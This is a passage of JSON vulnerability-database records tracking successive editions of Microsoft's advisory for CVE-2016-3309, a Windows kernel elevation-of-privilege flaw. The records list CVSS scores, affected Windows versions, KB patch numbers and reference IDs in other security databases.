Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-09T06:50:26", "differentElements": ["msAffectedSoftware"], "edition": 24}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "13fc00f58404e6f4ff1e00cbd088e3aa", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-10T08:45:33", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA10856", "KLA11908"]}], "modified": "2021-09-09T06:50:26", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-09T06:50:26", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3176495", "KB3176492", "KB3163912", "KB3172985", "KB3177725", "KB3176493", "KB3168965"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-10T08:45:33", "differentElements": ["msAffectedSoftware"], "edition": 25}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "1609f8313c888e04d583d7cc2ea642df", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-10T10:45:14", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA10856", "KLA11908"]}], "modified": "2021-09-09T06:50:26", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-09T06:50:26", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3163912", "KB3176495", "KB3172985", "KB3176492", "KB3168965", "KB3176493", "KB3177725"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-10T10:45:14", "differentElements": ["msAffectedSoftware"], "edition": 26}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "13fc00f58404e6f4ff1e00cbd088e3aa", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-10T18:58:51", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA10856", "KLA11908"]}], "modified": "2021-09-09T06:50:26", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-09T06:50:26", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3177725", "KB3163912", "KB3176493", "KB3172985", "KB3168965", "KB3176495", "KB3176492"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for Itanium-Based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for 32-bit Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows RT 8.1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for x64-based systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 8.1 for 32-bit systems", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 7 for 32-bit Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows 10 Version 1511 for x64-based Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 Version 1511 for 32-bit Systems", "kbSupersedence": "KB3172985", "kb": "KB3176493", "msplatform": ""}, {"name": "Windows 10 for x64-based Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows 10 for 32-bit Systems", "kbSupersedence": "KB3163912", "kb": "KB3176492", "msplatform": ""}, {"name": "Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}], "vendorCvss": {}}, "lastseen": "2021-09-10T18:58:51", "differentElements": ["msAffectedSoftware"], "edition": 27}, {"bulletin": {"id": "MS:CVE-2016-3309", "vendorId": null, "hash": "1609f8313c888e04d583d7cc2ea642df", "type": "mscve", "bulletinFamily": "microsoft", "title": "Windows Kernel Elevation of Privilege Vulnerability", "description": "An elevation of privilege vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\n\nTo exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application to take control of an affected system.\n\nThe update addresses the vulnerability by correcting how the Windows kernel handles objects in memory.\n", "published": "2016-08-09T07:00:00", "modified": "2016-08-09T07:00:00", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.2, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2016-3309", "reporter": "Microsoft", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2021-09-10T20:44:45", "history": [], "viewCount": 1, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "zdt", "idList": ["1337DAY-ID-28749"]}, {"type": "mskb", "idList": ["KB3178466"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808784"]}, {"type": "nessus", "idList": ["SMB_NT_MS16-098.NASL"]}, {"type": "kaspersky", "idList": ["KLA10856", "KLA11908"]}], "modified": "2021-09-09T06:50:26", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-09-09T06:50:26", "rev": 2}}, "objectVersion": "1.6", "kbList": ["KB3177725", "KB3176495", "KB3163912", "KB3176493", "KB3176492", "KB3168965", "KB3172985"], "msrc": "", "mscve": "CVE-2016-3309", "msAffectedSoftware": [{"name": "Windows 10 Version 1607 for x64-based Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows 10 Version 1607 for 32-bit Systems", "kbSupersedence": "", "kb": "KB3176495", "msplatform": ""}, {"name": "Windows Vista x64 Edition Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Vista Service Pack 2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 R2", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2012", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 R2 for x64-based Systems Service Pack 1", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)", "kbSupersedence": "KB3168965", "kb": "KB3177725", "msplatform": ""}, {"name": "Windows Server 2008 for x64-based Systems Service Pack 2", "kbSupersedence": "KB3168965", "kb": 